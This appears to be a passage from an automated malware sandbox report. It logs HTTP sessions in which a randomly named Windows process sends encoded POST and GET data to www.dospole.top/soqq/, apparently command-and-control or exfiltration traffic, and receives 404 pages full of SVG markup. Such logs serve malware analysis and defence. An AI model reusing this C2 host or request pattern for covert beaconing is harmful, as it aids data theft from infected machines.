22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Jul 9, 2024 12:10:16.950509071 CEST	224	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)"
Jul 9, 2024 12:10:16.950525999 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 Data Ascii: style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000;stroke-width:0.1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" d="m 145.0586,263.51309 c -90.20375,-0.0994 -119.20375,-0.0994 -119.20375,-0.09
Jul 9, 2024 12:10:16.950541973 CEST	1236	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 34 39 36 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 Data Ascii: ;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.0036,3.37532 -0.0071,6.75165 -0.0107,10.12897 m 0.512159,0.18258 c -1.914603,-0.23621 -3.505591,1.17801 -4.861444,2.68113 -1.355853,1.5
Jul 9, 2024 12:10:16.950557947 CEST	1236	IN	Data Raw: 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 31 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 37 34 2e 36 38 37 35 2c 31 32 35 2e 30 33 37 Data Ascii: ;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -13.197555,13.3433 -18.781379,20.01048 -5.583823,6.66719 -10.749655,13.66605 -13.
Jul 9, 2024 12:10:16.950575113 CEST	672	IN	Data Raw: 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a Data Ascii: #000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14581 6.19786,6.22912 11.6978
Jul 9, 2024 12:10:16.951143026 CEST	1236	IN	Data Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20 Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
Jul 9, 2024 12:10:16.951159954 CEST	224	IN	Data Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32 Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.0
Jul 9, 2024 12:10:16.951175928 CEST	1236	IN	Data Raw: 30 33 34 32 39 2c 33 37 2e 31 38 31 35 39 20 2d 33 2e 30 36 34 31 35 34 2c 35 34 2e 38 36 30 33 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 Data Ascii: 03429,37.18159 -3.064154,54.86032" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4541" d="m 85.206
Jul 9, 2024 12:10:16.951191902 CEST	224	IN	Data Raw: 2e 32 33 32 36 36 20 63 20 2d 35 2e 34 34 30 31 39 32 2c 31 31 2e 35 36 32 35 31 20 2d 31 30 2e 38 38 30 39 35 31 2c 32 33 2e 31 32 36 32 32 20 2d 31 35 2e 38 39 39 36 35 37 2c 33 33 2e 35 36 33 36 38 20 2d 35 2e 30 31 38 37 30 36 2c 31 30 2e 34 Data Ascii: .23266 c -5.440192,11.56251 -10.880951,23.12622 -15.899657,33.56368 -5.018706,10.43747 -9.614414,19.74672 -11.912808,26.70033 -2.298394,6.95362 -2.298394,11.54922 -1.355419,24.57415 0.942974,13.02493 2.828182,34.46917 5.0660
Jul 9, 2024 12:10:16.955658913 CEST	1236	IN	Data Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49746	162.254.38.56	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:18.963701010 CEST	1857	OUT	POST /soqq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.dospole.top Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.dospole.top Referer: http://www.dospole.top/soqq/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 51 70 6d 76 72 31 36 34 53 59 42 43 34 69 67 6a 57 46 5a 2b 4b 4e 79 36 77 4a 54 6c 44 4d 34 59 30 65 66 2f 45 74 75 6e 5a 69 2f 58 44 65 6c 2b 35 47 56 4e 51 38 4d 31 64 34 2f 2b 31 45 42 34 53 69 6f 2b 43 4a 38 71 4a 4d 4b 6d 41 55 6a 75 39 68 58 56 36 71 78 4a 58 30 2b 32 4b 32 35 67 59 43 39 4c 4e 68 41 6b 70 76 49 48 41 78 76 44 68 77 34 75 6f 63 75 51 6e 4a 43 6f 53 48 54 4d 55 75 6c 47 42 4b 74 4f 67 66 6f 44 63 6c 63 41 31 41 79 76 42 6e 6c 38 62 33 71 57 62 57 32 2f 69 4e 52 2b 79 32 70 43 47 5a 69 30 54 35 64 52 41 50 54 4c 39 4e 6d 7a 57 44 67 43 44 64 74 6f 58 6f 58 37 38 4a 56 74 5a 79 78 37 69 64 4d 74 37 4b 35 58 4c 6f 69 6f 43 44 71 6a 78 57 42 64 43 58 53 6c 6c 64 52 6c 52 59 54 41 68 4c 46 38 50 31 5a 38 46 44 6b 70 66 68 45 6e 50 76 78 42 54 6f 53 56 55 65 32 53 37 31 45 34 52 44 48 38 39 34 52 58 4e 5a 39 31 75 66 76 64 32 76 34 2b 37 58 44 72 56 62 69 58 57 41 4f 65 37 39 6b 7a 61 34 6e 50 6e 73 65 6e 65 4b 38 55 59 32 67 30 76 31 73 37 6a 64 78 56 6d 70 31 75 44 34 [TRUNCATED] Data Ascii: lv-=Qpmvr164SYBC4igjWFZ+KNy6wJTlDM4Y0ef/EtunZi/XDel+5GVNQ8M1d4/+1EB4Sio+CJ8qJMKmAUju9hXV6qxJX0+2K25gYC9LNhAkpvIHAxvDhw4uocuQnJCoSHTMUulGBKtOgfoDclcA1AyvBnl8b3qWbW2/iNR+y2pCGZi0T5dRAPTL9NmzWDgCDdtoXoX78JVtZyx7idMt7K5XLoioCDqjxWBdCXSlldRlRYTAhLF8P1Z8FDkpfhEnPvxBToSVUe2S71E4RDH894RXNZ91ufvd2v4+7XDrVbiXWAOe79kza4nPnseneK8UY2g0v1s7jdxVmp1uD4G41YktmZ6A9mJtNDJrB3GZwSwqPe0/zHMH94vwRwABh5L9Q+gGloz3oKBcjeNHxuzvo2aOWIC/Mx33g70CzPF7XFjmGR9P6R2Wqg8ItmTczMiksYDvPEs1KmMYbu+AeagWZPzGY7AdGJLNJgUJsc78NxMPI36GzPf8K1YQDBUwBYQbQKa7OFn8CWWSWci5+m9LFtcQBU7f8o0/RW7ipXD5ET8RDNmnRBfgsFMmBk7QadkOAADjOv7uNoj2VIpyHtbiwGoomNEojXRx51CBSSPniptZ51j2xpqbW1G4+/hsZuHbJzv8ZHgZxPr/98cpJKt1JuzaHSlekoOwrWgo41pgJd0j0ZkqR7sWjgcn32BNdb9VczaxY1eLBHrEhJex7pDl9WpmW8QbvYTqqXkYGxRBYCJlZXer798dOM8DHji6O8wzm0sGKFH6WziysvWHGi6tMpIRvYaoNdyfSHzUkz8bLfSha2ui6cSMjNxuxuNGfS06dOD/NMOHfx2mekvegRDvo0QikNdAZfYzyxyay/Ka4dPXIeg/QegZUBQ6dcyORzMQMWF/QYFNBSggZmSWoJMANWHgcYfIpV0ziUG7SvHVSTUZce3aOCZl2u1D0LQUImpX/1hb5CAFOhnXg3wf/rdJZiXpxdUWsLzzmqOaPlnLm4Iu9PLvO7RX [TRUNCATED]
Jul 9, 2024 12:10:19.623357058 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Jul 2024 10:10:19 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Jul 9, 2024 12:10:19.623385906 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Jul 9, 2024 12:10:19.623403072 CEST	448	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Jul 9, 2024 12:10:19.623419046 CEST	1236	IN	Data Raw: 36 38 31 31 33 20 2d 31 2e 33 35 35 38 35 33 2c 31 2e 35 30 33 31 32 20 2d 32 2e 34 37 33 37 36 34 2c 33 2e 30 39 31 37 33 20 2d 33 2e 33 38 37 38 36 36 2c 34 2e 35 39 35 33 38 20 2d 30 2e 39 31 34 31 30 33 2c 31 2e 35 30 33 36 35 20 2d 31 2e 36 Data Ascii: 68113 -1.355853,1.50312 -2.473764,3.09173 -3.387866,4.59538 -0.914103,1.50365 -1.620209,2.91586 -2.416229,4.41952 -0.79602,1.50365 -1.67928,3.09352 -0.808656,3.24054 0.870624,0.14702 3.490408,-1.14815 5.700074,-1.91396 2.209666,-0.76581 4.0014
Jul 9, 2024 12:10:19.623435974 CEST	1236	IN	Data Raw: 34 39 36 35 35 2c 31 33 2e 36 36 36 30 35 20 2d 31 33 2e 39 31 36 36 30 38 2c 31 38 2e 37 34 39 36 20 2d 33 2e 31 36 36 39 35 32 2c 35 2e 30 38 33 35 35 20 2d 34 2e 33 33 33 34 33 32 2c 38 2e 32 34 39 37 31 20 2d 34 2e 37 35 30 33 31 35 2c 31 31 Data Ascii: 49655,13.66605 -13.916608,18.7496 -3.166952,5.08355 -4.333432,8.24971 -4.750315,11.08369 -0.416883,2.83399 -0.08368,5.33304 1.809372,16.25302 1.893048,10.91998 5.343489,30.24673 9.760132,48.66349 4.416642,18.41676 9.798356,35.91675 15.180267,5
Jul 9, 2024 12:10:19.623451948 CEST	1236	IN	Data Raw: 37 38 36 2c 36 2e 32 32 39 31 32 20 31 31 2e 36 39 37 38 39 2c 31 32 2e 32 32 39 31 34 20 31 37 2e 31 31 34 35 36 2c 31 38 2e 33 39 35 38 31 20 35 2e 34 31 36 36 36 2c 36 2e 31 36 36 36 37 20 31 30 2e 37 34 39 39 36 2c 31 32 2e 34 39 39 39 35 20 Data Ascii: 786,6.22912 11.69789,12.22914 17.11456,18.39581 5.41666,6.16667 10.74996,12.49995 14.74993,17.91655 3.99997,5.41659 6.66659,9.91653 7.16671,17.83316 0.50012,7.91664 -1.16644,19.24921 -3.3502,31.24619 -2.18376,11.99698 -4.81616,24.33632 -8.4206
Jul 9, 2024 12:10:19.623469114 CEST	672	IN	Data Raw: 33 2c 32 33 2e 38 30 36 34 37 20 2d 30 2e 35 33 30 33 34 2c 31 34 2e 31 34 33 33 38 20 2d 32 2e 38 38 37 30 36 2c 33 36 2e 35 33 32 32 36 20 2d 35 2e 34 32 30 39 2c 35 36 2e 34 34 39 35 31 20 2d 32 2e 35 33 33 38 33 2c 31 39 2e 39 31 37 32 35 20 Data Ascii: 3,23.80647 -0.53034,14.14338 -2.88706,36.53226 -5.4209,56.44951 -2.53383,19.91725 -5.24428,37.35836 -7.95503,54.80146" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;strok
Jul 9, 2024 12:10:19.623610020 CEST	1236	IN	Data Raw: 30 33 34 32 39 2c 33 37 2e 31 38 31 35 39 20 2d 33 2e 30 36 34 31 35 34 2c 35 34 2e 38 36 30 33 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 Data Ascii: 03429,37.18159 -3.064154,54.86032" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4541" d="m 85.206
Jul 9, 2024 12:10:19.623625994 CEST	1236	IN	Data Raw: 2e 32 33 32 36 36 20 63 20 2d 35 2e 34 34 30 31 39 32 2c 31 31 2e 35 36 32 35 31 20 2d 31 30 2e 38 38 30 39 35 31 2c 32 33 2e 31 32 36 32 32 20 2d 31 35 2e 38 39 39 36 35 37 2c 33 33 2e 35 36 33 36 38 20 2d 35 2e 30 31 38 37 30 36 2c 31 30 2e 34 Data Ascii: .23266 c -5.440192,11.56251 -10.880951,23.12622 -15.899657,33.56368 -5.018706,10.43747 -9.614414,19.74672 -11.912808,26.70033 -2.298394,6.95362 -2.298394,11.54922 -1.355419,24.57415 0.942974,13.02493 2.828182,34.46917 5.066095,53.84746 2.23791
Jul 9, 2024 12:10:19.623641968 CEST	1236	IN	Data Raw: 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 30 30 36 31 34 31 35 34 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 Data Ascii: :inline;fill:none;stroke:#000000;stroke-width:1.00614154px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4529" d="m 132.6875,263.34998 c -4.2289,18.4155 -8.45806,36.83216 -12.
Jul 9, 2024 12:10:19.628585100 CEST	1236	IN	Data Raw: 20 20 63 79 3d 22 31 36 34 2e 35 37 31 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 63 78 3d 22 33 32 31 2e 34 32 32 32 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 36 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: cy="164.5713" cx="321.42224" id="path4565" style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49747	162.254.38.56	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:21.548355103 CEST	563	OUT	GET /soqq/?GJtTF=-FH8yJw&lv-=drOPoC+fcqVNsUc6VHZGLsfUz53xK80s09TfdoGgIRC+cuJysSYyQ9s+Q6Hx730bczsRaNUrXI+2DBjO7h7kx7woR32YUW8PWQ95aiNipO8bO2C7yA== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.dospole.top Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:10:22.168304920 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Jul 2024 10:10:22 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Jul 9, 2024 12:10:22.168358088 CEST	1236	IN	Data Raw: 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 Data Ascii: /linearGradient> </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)"
Jul 9, 2024 12:10:22.168391943 CEST	1236	IN	Data Raw: 37 39 20 2d 30 2e 35 39 35 32 33 33 2c 2d 31 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 Data Ascii: 79 -0.595233,-18.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;str
Jul 9, 2024 12:10:22.168430090 CEST	672	IN	Data Raw: 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 30 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c Data Ascii: width="100.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /
Jul 9, 2024 12:10:22.168463945 CEST	1236	IN	Data Raw: 31 36 37 36 20 39 2e 37 39 38 33 35 36 2c 33 35 2e 39 31 36 37 35 20 31 35 2e 31 38 30 32 36 37 2c 35 33 2e 34 31 37 33 38 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c Data Ascii: 1676 9.798356,35.91675 15.180267,53.41738" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4517" d="
Jul 9, 2024 12:10:22.168581009 CEST	1236	IN	Data Raw: 31 31 2e 39 39 36 39 38 20 2d 34 2e 38 31 36 31 36 2c 32 34 2e 33 33 36 33 32 20 2d 38 2e 34 32 30 36 33 2c 33 38 2e 39 39 38 30 39 20 2d 33 2e 36 30 34 34 38 2c 31 34 2e 36 36 31 37 37 20 2d 38 2e 30 36 32 31 32 2c 33 31 2e 31 37 31 35 34 20 2d Data Ascii: 11.99698 -4.81616,24.33632 -8.42063,38.99809 -3.60448,14.66177 -8.06212,31.17154 -12.56244,47.83939" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" />
